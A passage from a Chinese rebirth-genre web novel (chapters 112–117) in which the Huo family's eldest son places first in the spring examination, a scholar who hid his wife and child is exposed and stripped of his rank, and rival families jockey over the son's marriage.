她在霍家休养了五日才离开。
身子虽还没好全,但继续吃一个月药就会痊愈。
鲁夫人向霍家这边行了一礼,就带着人走了。
霍凝玉看到鲁谦昀比自家大哥还要没骨头。
霍鸣羡一上马车就睡着了。
只等了两天,鲁谦昀就带着夫人上门来道谢。
且两人向容华芝行了跪拜大礼。
“快起来,快起来。我不过就是给文晴请了太医。哪就值得你们行如此大礼。”容华芝虽是二品诰命,但听女儿说鲁谦昀可能是榜眼。
她受这么大的礼有点不好意思。
“霍夫人,你对我们夫妻实则是救命之恩。此恩鲁某记下了。”鲁谦昀又深深作了一个揖。
他从考场出来,睡了个昏天暗地。
他做了一个长长的梦,梦里,他的夫人**,他扶丧回老家安葬,一年后才回京。他痛失爱妻,对一切都提不起兴趣。
他虽考了榜眼,本该进翰林院,可,京城是他的伤心地,求了一个县令官职,从此再没来过京城。
等他醒来,妻子才告诉他这几天她得了霍家这么大一个恩。
他才知道自己为何会做那个梦。
要是霍家没有救他的妻子,他或许就如梦里那般经历失亲之痛,浑浑噩噩过一生。
“霍夫人,以后但凡有用得着我鲁某之处,鲁某定义不容辞。”鲁谦昀又道。
两夫妻现在一无所有,生活都成问题。
鲁谦昀只能口头上表明自己的心意。
容华芝对这对夫妻高看一眼,懂得感恩,以后又是一份助力。
三月二十五傍晚。
赵炳煜来了霍家。
带来了个消息。
“凝玉,之前你托我去接的人已经到京。”赵炳煜几日没来霍府,一来就找霍凝玉。
“你是说那个把我表妹魂勾走的那个沈知言的妻子?”霍凝玉一下就想到了。
几个月过去,终于进京了。
“对。沈知言十八岁就成亲了,娶的是当地一个富绅的女儿。
两人的孩子刚满两岁。他就是靠攀上这门亲,岳家全力支持他考科举,他才走到了今天。
要不是有岳家支持,他哪里有钱考功名。尝到了甜头,进了京又想故计重施,再攀一门贵亲,保他前途无量。”
“可恶。”霍凝主骂道,“看我怎么撕开他伪装的面孔。”
第112章 我中了,我中了
四月初八,春闱放榜日。
礼部衙门外照壁前,人声鼎沸,摩肩接踵。
寒窗苦读的学子们,一生的命运几乎都系于这张榜单之上。
学子们都期盼着巳时的到来。
新上任的礼部尚书桑泽辉全权组织此次会试。
为了办好此次会试,他大胆改革。
他把贡院好好翻新了一遍。
还专门安排人打扫茅厕,保持周围没有任何异味。
风口位置设置围幔,大大改善考试条件。
没有出现因环境问题而影响考生发挥的情况。
霍凝玉和赵炳煜站在不远处的一座茶楼雅间里,临窗的位置恰好能将榜下众生百态尽收眼底。
霍凝玉特意去容府把表妹容琳媛接出来一起看今日放榜。
为了第一时间知道结果,钟离洛也告了假一起来看放榜。
在他心里霍家人都是他的亲人,他关心亲人,理所当然。
“大哥,你紧张吗?”霍凝玉见大哥悠哉游哉地坐着品茶。
钟离洛也无半点急切的样子,好似一切尽在掌握中。
“结果并不会因我紧张就会改变。”霍鸣羡优雅地给钟离洛续上茶。
一副胸有成竹、冷静自若的样子,心态平稳得不像常人。
“表姐,你看,沈公子也来了。”容琳媛时刻注视着下面。
一看到那个熟悉的身影,她就激动起来。
这几个月,家里除了管得严了些,并没有阻止她与沈公子书信往来。
但她还有大家小姐的矜持,并没有越矩。
只见人群中的沈知言,今日特意穿着一身崭新的靛蓝色直裰,衬得他面如冠玉,气质儒雅。
确实有几分男人的魅力,难怪能引得表妹情根深种。
时间到,随着一声大锣敲响,礼部衙门的大门在一队差役的护卫下,慢慢打开。
桑泽辉在礼部官员的簇拥下缓步走出大门。
挤在门前的学子们纷纷让道。
桑泽辉也不多说废话,直接指挥着几个下属开始张贴榜单。
差役死死围成一圈,防止学子们过于靠近,影响贴榜。
桑泽辉趁贴榜的时间,向学子们大声喊道:“看榜注意礼节,不可强行拥挤,上了榜的,名字不会跑,看到自己的名字就立刻回住处,等着我们礼部报喜的官差上门报喜。”
差役维持着秩序,让学子们有序上前查看。
霍鸣羡的小厮阿福早就等在下面。
当他看到自家公子的名字时,兴奋地转身就跑。
“大公子,大公子,您的名字可大了,写在第一位。”阿福激动地把话说得很有趣。
前三名的名字写在最前面,而且字体相比其他的都大,特别容易被看到。
阿福对自家公子最有信心,别处不看,就看前面。
果然如他心里所想,好似那名字写的就是他的。
“大哥,你太给妹妹长脸了。”霍凝玉也激动不已。
大哥前世可不是第一名,现在因她的重生,连名次也变了,肯定没那廖含章什么事儿了。
“恭喜霍兄弟。”钟离洛一拱手。
“恭喜表哥。”容琳媛也温柔笑道。
赵炳煜没说话,但向霍鸣羡投去祝贺的眼神。
又做了个恭喜的手势。
“多谢各位,这还不是最终结果,还有殿试呢。”霍鸣羡淡定如初,并不骄傲。
“阿福,你再去看看万家公子考了第几?再注意看廖含章和鲁谦昀这两个名字。”霍凝玉吩咐,她想看看那两人有没有太大变化。
“好呢。”
阿福又一溜烟跑下楼。
没过多久,他就回来了。
“大公子,大小姐,万家公子考了第四名。鲁谦昀考了第二名,廖含章是第三名。”
“太好了,万家大哥也考得这么好。”霍凝玉替万青黛高兴。
万家大哥有了功名,更有底气护着他妹妹。
前世万青鸿只考了第十五名。
而她的重生,破了普陀庵案,青黛没有出事,他就没有受失去妹妹影响,他也超常发挥了。
居然考了第四名。
不愧是祭酒大人家的公子。
“阿福,再麻烦你去看看,有没有沈知言在榜。”容琳媛羞涩道。
“表小姐客气,小的这就去。”
只是还没等阿福回来,容琳
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媛就看到沈知言已经从人群中挤出来。
高叫着“我中了,我中了。”
声音之大。
“看他高兴的样子,怕是已经觉得自己肯定是容府的乘龙快婿了。”霍凝玉心里冷哼,眼中满是讥诮。
她转头看容琳媛。果然眼中尽是倾慕与骄傲。
“表姐,他真的中了。”容琳媛脸颊微红,“他说过的,一旦高中,便立刻上门提亲,祖母也许诺,只要他高中就答应我们的婚事。”
容琳媛和楼下的沈知言一样激动。
霍凝玉握住她的手,语气带着一丝不易察觉的怜惜:“表妹,别急。今日表姐让你看清,你倾心的,究竟是怎样的一个人。”
容琳媛一愣:“表姐,你这话什么意思?”
她朝赵炳煜递了个眼色。赵炳煜微微点头,对身后的随从低声吩咐了一句。
“没什么,走,我们下楼去祝贺沈公子高中。”霍凝玉牵起她的手,下楼。
沈知言好不容易从道贺的人群中脱身,整理了一下衣冠,正准备朝着容府的方向走去。
他知道,容小姐正等着他带去好消息。
尽管他知道容府定会派人看榜,但他想亲自去容府说。
最好能借此机会见容小姐一面。
容家的态度,他早已知晓,只要他考上进士,容家就答应他与容小姐的婚事。
要是有容家提拔,他的仕途定能走得无比顺畅,而且容家还有霍尚书这样的姻亲,霍家还出了一个县主。
这样的人家,哪里是他现在岳家能比的。
就在这时,一个怯生生的女声在他身后响起:“夫君……”
沈知言身形猛地一僵,这个称呼,这个声音……他难以置信地回头。
只见人群边缘,站着一位荆钗布裙,风尘仆仆的年轻妇人,她手里还牵着一个约莫两岁,粉雕玉琢的小女孩。
妇人正是他的发妻林氏。
林氏望着眼前意气风发的丈夫,与记忆中那个清贫却温柔的读书人判若两人,眼泪瞬间涌了上来:“夫君,我和婉儿……终于找到你了。”
林氏千里迢迢来到京城,一路经历千辛万苦。
第113章 不认糟糠之妻
京里传信回来,说她夫君在京城得了重病。
她担惊受怕,什么也顾不得,别了父母,把家里的银钱都带上,带着孩子来京城寻找夫君。
万一夫君真的病入膏肓,还能让他见她们母女最后一面。
她紧赶慢赶,赶了两个月路,中途孩子受不住,病了一场。
那时,她心急如焚,好在遇到一位好心的壮士也要进京,一路护送,她们母子才平安到达京城。
可人海茫茫,人生地不熟,她根本不知道去哪里找夫君,怎样才能找到他。
想到今日放榜,夫君定会到榜前来看榜,她就带着孩子来了,也是那位壮士给她指的路。
沈知言的脸色由红转白,再由白转青,他强压住惊怒,脑子转得飞快。
突然,他低喝道:“哪里来的疯妇?休要胡言乱语,我根本不认识你。”
他不能承认,绝不能。
眼看前程就在咫尺,岂能被这乡下来的女人毁掉。
林氏被他眼中的狠厉吓得后退一步。
她怎么也想不到夫君会不认她,还骂她是疯妇。
小女孩也被父亲的陌生态度吓到,“哇”的一声哭起来,边哭边喊:“爹爹,爹爹。”
“爹爹?”周围一片哗然。
而此时,霍凝玉一行就站在看热闹的人群中。
容琳媛脸色煞白,手指颤抖:“那孩子……她叫沈公子什么?爹爹?表姐,这……这是怎么回事?”
霍凝玉扶住她,轻声道:“看下去。”
沈知言心急如焚,只想尽快摆脱这母女二人。
他对着周围拱手,强笑道:“诸位莫怪,想必是这妇人认错了人,或是……或是有人故意指使,坏我名声。”
“认错人?”林氏闻言,心如刀绞,她从怀中颤巍巍地掏出一封泛黄的信。
“这是你去年寄回家的信,说你已在京中安顿好,让我们耐心等待,你必高中,回来接我们母女一起去上任。
还有这镯子,是你送我的定情信物,镯子内圈还刻着你我的名字。还有这是你我的婚书……”她又拿出一份文书,“你沈知言的名字,官府的印章,难道都是假的不成?”
她出门前才想起带婚书,那是她与夫君两人婚姻的见证,她想带来给夫君看看,让夫君舍不得离开她们母女,也给他希望,让他挺过难关,勇敢活下来。
她已不求夫君能考上进士,只求夫君能平安就好。
只要夫君活着,她和孩子才有完整的家,才有依靠。
证据确凿,人群顿时炸开了锅。
“没想到这沈知言看起来一表人才,才刚刚考中进士就不认糟糠之妻。”
“是不是他被哪家高门看中,想招为婿,他才这么做的?”
“要真是如此,那就是停妻另娶,可是大罪。”
“这种人也能考上进士,真是老天无眼,德行有亏啊,真是丢我们读书人的脸。”
“必需革去功名。”
......
各种议论声不绝于耳,且越来越激烈,话语也越来越难听。
沈知言在众人的指指点点和鄙夷目光中,狼狈不堪,冷汗涔涔,还想狡辩:“这妇人不知哪里弄来的这些东西,她们才是想攀上我这个新科进士的骗子。”
可是林氏拿出的证据,白纸黑字,婚书上还有官印。
“沈知言,一个弱质妇人,她哪里来的本事能弄到带官印的婚书?”有人嘲讽问道。
“我.....”沈知言无法辩驳。
只得拉起林氏母女就要逃离现场,想私下再好好和林氏商量。
他的前途比什么都重要。
只要他娶了高门贵女,有了高官俸禄,到时让林氏做妾,她也有更幸福的人生,更富贵的日子。
“沈公子。”一个清脆的声音响起,带着颤抖和不可置信。
沈知言浑身一颤,顺着声音望去,只见容琳媛在霍凝玉的陪同下,不知何时已站在了人群前。
容琳媛眼中含泪,满是不可置信和被欺骗的痛楚。
“她说的……都是真的?你早已娶妻生子?”容琳媛的声音带着哭腔,“那你对我说的那些话,许的那些承诺,又算什么?”
沈知言看到容琳媛,方寸大乱:“容、容小姐……你听我解释,不是这样的……”
“解释?”
霍凝玉上前一步,将容琳媛护在身后,目光冷冽如冰,声音清晰地传遍全场。
“沈知言,你靠着岳家资**取功名,
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发妻在家为你操持家务,俸养老人,你却在京中隐瞒婚史,妄图攀附权贵,勾引我表妹,想停妻另娶。
如今东窗事发,还想狡辩?你这种忘恩负义,卑鄙无耻之徒,也配穿这身儒衫,也配榜上有名?”
霍凝玉的每一句话,都像一个个响亮的耳光,扇在沈知言脸上,也彻底击碎了他所有的伪装和侥幸。
容琳媛看着眼前这个瞬间变得无比陌生的男人,又看向那边无助哭泣的母女,最后的一点幻想也破灭了。
她捂住脸,泪水从指缝中滑落,既是为自己错付的真心,也是为那对可怜的母女。
又想到家里人对她的宽容和疼爱。
她都做了些什么?
为了这种男人与父母抗争,让父母寒心,结果却是眼里只有荣华富贵的败类。
她对不起疼爱她的祖父母,对不起关心她的父母。
霍凝玉扶着她,让她哭个够。
容琳媛觉得好丢脸,再也待不住,转身跑出了人群,使出她有生以来最快的速度。
霍凝玉立刻给钟离洛使了个眼神,让他跟上去看看。
这边的闹剧很快传进礼部尚书桑泽辉的耳里。
当他得知今科贡士里居然有这等败类,皱紧了眉头。
一个读书人,走到今天这一步,很不容易。
要是因德行有亏而失了功名,真的是功亏一篑。
但事情在礼部衙门口发生,他必需调查清楚。
“怎么回事?”桑泽辉挤进人群里。
“尚书大人,新科贡士沈知言不认糟糠之妻......”有热心的人噼里啪啦几下就把刚才看到的说了一遍。
“这位夫人,他真是你夫君?”桑泽辉看向林氏。
林氏这才知道她今天来认夫君是多么冒失的举动。
同时她心里也好难过。
夫君竟然在京城与高门贵女有了私情,想要停妻另娶。
怎么可以?
他之所以能进京赶考,要不是有她娘家支持,他哪里有机会走到京城。
忘恩负义的东西。
可是他的确是她的夫君。
林氏知道今日一过,夫君的前程可能就没了。
她要怎么办?
如实回答还是成全夫君?
第114章 人心险恶,你不懂吗?
“沈夫人,不用担心,你大胆拿出证据。如果沈知言知错能改,好好待你们母女,你就好好与他过日子,如果他因此恨你,本官为你做主。”赵炳煜此时也从容走上前,朗声道。
“这是皇城司使赵大人,天子近臣。小嫂子,你大胆拿出证据,尚书大人也不会不管。”有人劝道。
“小嫂子,你之所以能平安到京,其实就是赵大人派人一路护送你们来的。不然,你以为你们母女两个弱质女流能这么顺利进京吗?”霍凝玉干脆直接说明。
林氏手里的婚书和信,被她捏得变了型。
如果此时,她承认自己不是沈知言的妻,他的功名,他的前途就保住了。
一旦拿出来,他们夫妻之间的情分就再也没有了。
以后的日子要怎么过,孩子要怎么办?
林氏心里天人交战。
可是这种忘恩负义的男人,她无论如何也不想再和他做夫妻。
“小嫂子,如果你想和离,我们都能帮你,孩子归你。”霍凝玉再下一剂猛药。
林氏见霍凝玉一身华贵,美丽异常。
一看就知她是身份高贵的小姐。
她的话给了她足够的勇气,慢慢把手里的东西递给了桑泽辉。
桑泽辉看到婚书上果然有沈知言的名字和生辰。
林氏又把自己的路引拿出来给桑泽辉看。
上面有她的基本信息。
桑泽辉又把资料给赵炳煜看。
“赵大人,此事你觉得如何处理比较妥当?”
“尚书大人,学生知道错了,学生被猪油蒙了心,学生会好好待她们母女。学生这就带她们回去好好安置。”沈知言慌了,急急认错。
他辛辛苦苦努力了这么多年,终于考上贡士,无论如何也不能功亏一篑。
他的话引起人群一阵鄙夷之声。
“夫人,我知道错了,我该死,我以后一定好好和你过日子,再也不敢有别的心思。”沈知言拉起林氏母女就想快些离开。
然,赵炳煜怎么可能放过他。
他花了那么多精力,专门派人去几千里外把他的夫人孩子接来,不是看他改过自新的。
使了个眼色,两个亲随就把沈知言架住,不给他离去。
“桑大人,科举是为朝廷选拔人才。
虽然不考虑学子是已婚还是未婚,但为官者需讲品行,清正廉明是圣上对所有官员的期望。
为了攀权附贵,连糟糠之妻都不认。
如果连这样的人都能进入官场,你说南楚的百姓会如何想?
以后有了更大的诱惑,他能顶得住吗?
所以为了防患于未然,这种人还是不要进入官场的好,免得以后刑部多一项活。”
赵炳煜意思很明确,这种人就不能给他任何机会。
读书,首先就是明理。
抛妻弃女之徒,把书读到狗肚子里去了。
“赵大人所言有理。”桑泽辉赞同。
当着这么多新科贡士的面,桑泽辉必需给天下学子一个交代。
“沈知言,今科贡士第一百二十八名,德行有亏,抛妻弃女,攀权附贵,忘恩负义。经本官与赵大人商议,取消其贡士资格。”
当场就让人拿了毛笔在榜单上把沈知言的名字划去。
本来此次录取一百五十人,现在变成一百四十九人。
林氏母女抱头痛哭。
本是来寻夫君,结果却是来与夫君分道扬镳。
“小嫂子,对不起,是我们利用了你,沈知言攀附上的贵女正是我的表妹,我们才出此下策让表妹死心。”霍凝玉向林氏道歉。
这事确实是他们利用了她们母女。
让人家千里迢迢,舟车劳顿这么远来。
“这位小姐客气,你们让我认清了他的真面目,也是救了我们母女。要是真让他得逞,我们母女以后还不知道要遭怎么样的罪。”林氏已经想通。
家里之所以把她嫁给沈知言,就是看中他读书不错,有前途。
然,他的前途要靠舍弃她。
到时他有了功名和官身,而她的父亲只是普通的地主乡绅,哪里能与做了官的沈知言抗衡。
真到了那时,她们母女要怎么办?
想到这些拿定了主意。
“赵大人,小妇人想通了,与他和离。”林氏勇敢地向赵炳煜行了一礼。
“好,本官替你做这个主。”
赵炳煜派人把沈知言
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和林氏母女一并送去京兆府,由府尹大人亲自审理,并公开判其和离。
再说另一边。
容琳媛伤心离去,慌不择路向前跑。
刚跑出没多远,前面来了一辆马车,眼看就要撞上。
钟离洛顾不得男女大防,一跃而起,把人抱起,躲开前行的马车。
“容小姐,看好路。”钟离洛又快速把人放下。
可容琳媛伤心过度,没站稳,钟离洛一放手,她就向地面栽去。
他又把她捞回来。
扶着她站稳。
容琳媛沉浸在悲伤和自责中,只想跑回家,躲进自己的院子里,好好哭一场。
她又拔腿就跑。
钟离洛不得不跟在她后面,送她回府。
可是容琳媛从来没有这样跑过,一路跌跌撞撞,看得钟离洛心都提到嗓子眼。
可就在这时,容琳媛一个前扑,摔在地上。
钟离洛不过是对小姑娘的这种情绪发泄无语,望了一眼天就出事了。
“啊,好疼。”容琳媛哭得更凶了,这回是疼哭的。
钟离洛上前就要把人扶起。
“别动我,好疼。”容琳媛趴在地上,想等那股疼意慢慢过去。
可是一个千金小姐趴在地上,实在不雅。
他又不敢离开去叫人。
两个丫鬟还没跟上来。
钟离洛把心一横,直接把人整个抱起。
“啊!你干什么?”容琳媛被一个只限认识的男人抱,很抗拒。
可是一挣扎,膝盖好疼,只得作罢。
“为那样一个男人哭成这样,值得吗?”钟离洛抱着人往前走。
此处离容府已经不远,估计她也不愿意再回去看到那人。
被戳到伤痛处,容琳媛无言以对。
“自古婚姻讲究门当户对,你一个御史大夫家的千金小姐,自降身份和一个外地进京的穷学子私相授受,本就不应该。
你就没想过他为什么那么热情?小姑娘天真,也不能这么天真。人心险恶,你不懂吗?”
钟离洛从没对娇娇滴滴的小姐说过这么重的话。
不留半点情面,也不考虑姑娘家的面皮儿薄。
这话让容琳媛无地自容。
第115章 还想嫁入霍家
他说得一点没错。
都是那些话本子害了她。
她以为这世上的男女之情都如话本子里写的那样。
二姑姑与二姑父不就如话本子上写得那么恩爱吗?
她没脸见人,直接把头埋在钟离洛胸前。
当钟离洛一路抱着她到容府门前时,引得看门的小厮惊掉下巴。
他家小姐居然被一个陌生男人抱着回来。
不对,这男人他见过一面,霍家的车夫。
小厮如有狼追似的跑进去禀报二夫人。
容二夫人匆匆迎出来,半路上遇到往里走的钟离洛。
“媛儿,你怎么如此不知理?”容二夫人看到女儿乖乖待在一个身材高大的男人怀里,气得就要骂人。
“娘,我摔了,好疼。”容琳媛一看到母亲,眼泪流得更凶。
同时,心里的委屈齐齐涌上,刚刚停下的哭声又响起来。
“什么?摔哪儿了?”一听女儿摔了,又心疼地关心起来。
“容二夫人,先让容小姐躺下来,再找大夫看看。”钟离洛当着姑娘母亲的面还抱着人,有点不好意思。
“你是?”容二夫人没见过钟离洛,可看他一身劲装,气度不凡,应是哪家的贵公子。
“在下钟离洛。”
“原来是今科武状元。”容二夫人一听名字就知道是谁了,“跟我来。”
容二夫人带着钟离洛就在外院一个客房把人放下。
府医很快赶来。
经过检查,容琳媛只是膝盖蹭破了皮,已经见血。幸好有裙子挡一层,不然更严重。
等大夫处理好伤口,容二夫人才想起来向钟离洛道谢,发现人早不见了踪影,只得问女儿。
“说吧,怎么回事?你不是陪你表姐去看会试放榜吗?怎么还把自己搞得这么狼狈?”
“娘,大表哥考了会试第一名,是会元公呢。”容琳媛实在不好意思说起沈知言的事。
“太好了,这么高兴的事,你怎么还哭成这样?”容二夫人知道女儿肯定还有什么事没说。
“我......娘,我错了,我不该对沈公子动情。以后我再也不相信男人骗人的情话了。”容琳媛扑进母亲的怀里。
接下来的事,丫鬟玲儿替小姐说了一遍。
丫鬟刚说完,霍凝玉也来了,看到表妹安然无恙才放心。
她又把后面的事也说了一遍。
气得容二夫人真想提刀去把沈知言给砍了,这么祸害她女儿,这种人怎么配活着。
“尚书大人做得太好了,这种人要是进了官场,还了得。不得祸害朝廷,祸害百姓?”
“二舅母说得对。此人已被官府禁用,以后不管他去到哪里都不会有衙门录用。”霍凝玉点头道。
今日桑泽辉只是划去了沈知言的会试名额,但并没有革除他的功名。
也就是他还是举人,如果没有今日这一出,进地方衙门做个小吏还是可以的。
但有了朝廷文书,这样的机会也没了。
霍凝玉看到表妹哭了一场,已经接受现实,没有一根筋还想嫁给沈知言,她的努力没有白费。
霍凝玉与容家人一起回了府。
报喜的官差已经走了。
空气中还有放过鞭炮的气味没有散去。
亲朋好友陆续上门道贺。
霍鹏程父子三人在大门口迎接。
今日霍家自是大摆宴席。
考中会元,那是天大的喜事。
就连大公主都来了,后面还跟着慧兰县主和江宁。
两人扶着大公主,生怕她有个什么闪失。
大公主小心翼翼从车上下来。
父子三人上前见礼。
“霍会元,恭喜恭喜。”赵明月看霍鸣羡的眼神如看自家孩子似的。
霍鸣羡恭敬一揖:“谢大公主。”
慧兰县主也向霍鸣羡道贺。
眼里明显有爱慕之意,霍鸣羡当没看到,只淡淡回了一礼。
容华芝一看到江宁,脸色就有些不好看。
看在大公主的面子上,没把人赶出去。
“大公主怎么来了?您还怀着孕,可得当心着些。”容华芝把人引到内院坐下。
金贵的主,可不能出事。
容华芝让娘家大嫂陪着。
她又继续到门外接待其他陆续上门的客人。
霍凝玉招待各家上门来的小姐。
听说慧兰县主也来了,只得从园子里来带她一起去玩。
看到江宁默默站在大公主身后,连个眼神都不给她。
居然还有脸上门。
只是没想到谢家也在今日上门来。
忠义伯和他夫人夏氏一起来的。
这是什么意思,是想修好关系吗?<
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br>今日来的女眷不多,主要是各家的男人上门祝贺。
最有意思的是陈大夫人不要脸面,带着陈芳蓠也来了。
在门口看到霍鸣羡时,陈芳蓠眼神灼热。
上门是客,霍凝玉尽地主之宜。
慧兰县主与霍凝玉亲近,一路都主动挽着霍凝玉的胳膊,以示亲密。
顾佳倩是和顾家二夫人一起上门的,只是后面还跟了个小尾巴,赵凌哲。
“霍姐姐,霍家大哥真了不起。我把我最喜欢的一套文房四宝送给他做贺礼。你觉得合不合适?”赵凌哲一来就熟门熟路带着顾佳倩来找霍凝玉。
“小殿下有心了。”霍凝玉摸了摸他的头。
各家小姐见霍凝玉与赵凌哲这么亲近,都羡慕不已。
“昭勇县主,以前是我不对。我今日特意来向你道歉。”陈芳蓠放下矜持,厚着脸皮当着大家的面向霍凝玉道歉。
霍凝玉本不想理她,可她是主人,只得道:“陈小姐不必客气,不过是两家退了亲而已,姻缘讲究缘分,缘分不到,就结不成亲。
但大家都在京里住着,抬头不见低头见的。我们之间并没有深仇大恨。”
慧兰县主古怪地看了陈芳蓠一眼。
真是能屈能伸,她道歉是什么意思?
那次在公主府,陈芳蓠为难霍凝玉没成的事,还历历在目。
“多谢昭勇县主宽宏大量。”
“陈芳蓠,你什么目的?我才不信你是真心道歉。”慧兰县主仗着身份,有什么说什么。
“县主,我当然是真心的。”
“你不会是还想嫁入霍家吧?”慧兰县主直接戳穿她的目的。
“我与霍大公子本就定过亲,以前不过是误会,才退了亲。两家重修旧好,有什么不可以?”陈芳蓠今日来的目的本就是为了这个。
她也不怕说出来。
也好挡了其他想嫁入霍家的小姐们的心思。
她后悔的肠子都青了。
她娘给她找了好几家的儿郎,准备重新给她定一门亲。
可是比来比去,哪家都不如霍家。
她才央求母亲与霍家修好,反正霍大公子直到现在也没定亲。
再续前缘有什么不可以。
“陈芳蓠,你还要不要脸?”慧兰县主见她如此不要脸,居然敢肖想她看上的人。
第116章 接连道歉的背后
“我怎么就不要脸了?以前我们两家本就定了亲,不过是我被人蒙蔽,闹了点脾气。
那是我不懂事,现在我已经知道错了,不是说知错能改,善莫大焉吗?”
陈芳蓠连县主都敢顶撞。这是为了自己的幸福,确实不要脸皮。
“哼,你就一厢情愿吧。”慧兰县主想在霍凝玉面前留个好印象,只冷哼一声,不再多说。
有些事,不是认个错就能挽回的。
主院里,容华芝也被陈夫人缠住。
“霍夫人,之前是孩子不懂事,吵着闹着要退亲,现在她知道错了。
今日上门除了恭贺鸣羡会试夺魁外,也借此机会向霍家道个歉。
以前的事我们就当没发生过,我们两家的亲事还是继续吧。
孩子太小,好些事不明白,听风就是雨。这几个月过去,她已经知道错了,还请霍夫人原谅我们当初的冒失。”陈大夫人也放得下脸面。
霍鸣羡十七岁就考了举人,但那是三年前,那时在人才云集的京城,并不显眼。
当时名次并不靠前。
谁知经过三年的努力,竟然一举夺得魁首。
真是虎父无犬子。
虽然还没有殿试,但前三甲必然有他,这样的女婿却被孩子给作没了。
好在知道错了,再来弥补也还来得及。
直到现在霍家也没给大公子定亲。或许就是在等她家芳蓠回心转意。
“陈大夫人,有句话叫过了这个村就没那个店了。”容华芝还没开口,大公主却冷了脸,开口道。
陈大夫人一噎,但很快反应过来。
“大公主,你我都是有女儿的人,都是捧在手心里长大的,难免宠得太过。
孩子经历的事少,做错了事也在所难免。这些日子,我家芳蓠已经懂事不少,想来霍夫人不会计较。”
“霍家大公子考了会元,你才巴巴地来吧。要是他连贡士都没考上,你今日会来吗?
本宫可是听说你一直在给陈三小姐相看人家,而且看的都是勋贵人家。
霍家只是官家,也入不了你的眼。”赵明月声音更冷了两分。
“大公主,我们家老太爷虽是帝师,但却没有把女儿非嫁入勋贵之家的意思。只要孩子能过得好,做父母的自然就放心。”
陈大夫人直到现在也没明白,大公主为何为难她。
但也不示弱,把陈家老太爷搬出来压人。
就是圣上见到陈家老太爷也要喊一声老师。
“陈大夫人,既然已经退亲,就不用再谈了。陈三小姐金枝玉叶,我们家鸣羡着实配不上。”容华芝打断两人。
她不希望两人在霍家闹出什么笑话。
她心里清楚,大公主也有意把女儿嫁入霍家。
但儿子并无此意。
而且女儿所讲的前世,大公主可是站队辰王,而且这一世她任然如此选择,那就更不能与霍家结亲。
陈大夫人见容华芝如此说,脸色很是难看。
但很快就压下不快。
今日当着这么多人的面说这事,确实不合适。
以后再徐徐图之。
今日的主要目的是道歉,表明陈家想缓和关系的态度。
“华芝,你我本是闺中好友,之前因儿女亲事,也闹得不愉快,今日我们上门也是来道歉的。
都是正阳不好,我不知道教训过他多少次。
哎,孩子的心,我们做父母的也无法左右,只能随他们去,但我们大人之间并没有矛盾。
想起以前,我们还没出嫁时,一起玩耍,一起品茶聊天,逛庙会,多开心。
希望以后我们两家还如以前一样来往。”
这时忠义伯夫人也向容华芝道歉,说起两人以前的交情。
她是被大公主命令来道歉的。
大公主希望谢家与霍家冰释前嫌。
伯爷也是这个意思,她不得不来。
江宁见婆母说完,也立刻走到容华芝面前,跪下:“义母,都是我不好。是我对不起您和义父。你要打要骂我都受着。”
容华芝眼睛眯了眯。
这是商量好今日当着这么多夫人的面,想把以前的事都揭过去?
“起来吧。你过你自己的日子,不用想太多。今日是我儿高中会元大喜的日子,咱们就不谈这些不愉快的事。时间差不多,咱们去花厅用膳吧。”容华芝不想多谈那些糟心事。
热闹了一天的霍府,送走所有客人。
一家人坐在
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主院正堂里,个个脸色都不太好。
本是喜事,应该很高兴才对。
“父亲,陈家好不要脸。”霍鸣昶最先打破沉默。
“江宁也同样不要脸,都撕破脸了,也当没发生过。谢家也跟着不要脸。”容华芝也被恶心得不行。
世上怎么就有这样的人。
真是能屈能伸,只根据自己的需要来。
“陈家不足为惧。帝师已经快七十,也活不了几年,帝师一去,整个陈家就会走下坡路。
他们还想把陈三小姐嫁入我霍家。我霍家不是泥捏的,想嫁就嫁,不想嫁就不嫁。”霍鹏程并没有把陈家看在眼里。
“大公主就有些麻烦。今日谢家上门,应该不是他们的本意。
江宁前不久就设计凝玉与袁家公子,明显是想把我霍家拉上辰王的船。
今日此举也是同样的目的。
从凝玉身上下手没达到目的,就从我们每个人身上下手。
谢家现在与大公主走得很近,已经投向辰王无疑。
现在大公主又想把女儿嫁入我霍家。
要是慧兰县主真嫁入我霍家,那就再无转还的余地,除非我霍家也站队辰王。”霍鹏程继续分析。
“父亲,儿子对慧兰县主无意。”霍鸣羡立即表明态度,“而且妹妹所经历的痛苦不能白受,我们决不可站队辰王。”
“父亲,辰王不是一个好人,为了铲除异己,手段毒辣。上位后更是杀了不少臣子,尤其投向霁王的那些人。
没有宽容之心,没有为君之德。”霍凝玉当然也反对。
“我没说要投向辰王,而是要想个办法解决大公主想嫁女儿的事。”霍鹏程说道。
“夫君,要不我们趁大公主还没有明确提出之前,给鸣羡定一门亲吧。”容华芝提议。
她今日真被陈大夫人给气到了。
本是想等儿子殿试后再好好给儿子相看的。
现在这么多人家都想把女儿嫁入霍家。
今日可不止陈大夫人一人说起这事。
“大哥,可有中意的女子?你告诉母亲,让她早些给你定下,免得陷入被动。”霍凝玉也为此事着急起来。
她不希望大哥的婚事太过草率。
第117章 东临六公主就是转机
要是大公主直接进宫请来圣旨,那就再也没有改更的机会了。
可这么久以来,她没发现大哥与哪个姑娘亲近过。每日就知道关在书房里温书。
就在这时,赵炳煜又来了。
他才离开没多久,这是特意回转来。
“赵大哥,可是有事?”霍凝玉上前问道,领着他坐到客位。
赵炳煜刚听完青风的汇报,特意回转。
他想听听霍家人是如何想的。
霍家尽管是尚书府,但在大公主面前,那也只是臣。
“霍叔,是不是为大公子的婚事犯愁?”赵炳煜不用猜都知道,他们一个个面色严肃,没有半点喜色。
“是啊。今日本是为鸣羡贺喜,结果个个都盯上鸣羡的婚事,就连大公主都有意把慧兰县主嫁入我霍家。”霍鹏程无奈道。
“鸣羡可有中意的女子?我要听实话。”赵炳煜要先确定,他才好出主意。
“暂无。”霍鸣羡回答得很干脆。
三年前,他就定了亲,不可能再与其他女子有牵扯。
退了亲后,一门心思在温书上,自他知道妹妹前世经历后,他对考第一产生了强烈的执着。
所以更不可能有时间考虑个人问题。
“东临六公主要来我南楚代母省亲,而她真正的目的是想在南楚泽婿。”赵炳煜说了一个和他们话题完全无关的消息。
霍凝玉一愣。
前世东临六公主来时,她刚刚死。
离现在还有一个多月时间。
她来后只待了一个月就走了,并没有说要在南楚择婿。
为何赵大哥带来的消息和她看到的不一样?
突然她想到大哥刚回京时,出门逛街,大哥说起东临六公主的事。
说她女扮男装在国子监读书,而且学问不错,在比赛时,把南楚的学子给比得很没面子。
东临六公主正是南楚和亲东临的长公主的女儿。当今圣上最小的皇妹,和大公主差不多年纪。
当年赵明月死活不同意和亲,后来安排了圣上的一个小皇妹去和亲。
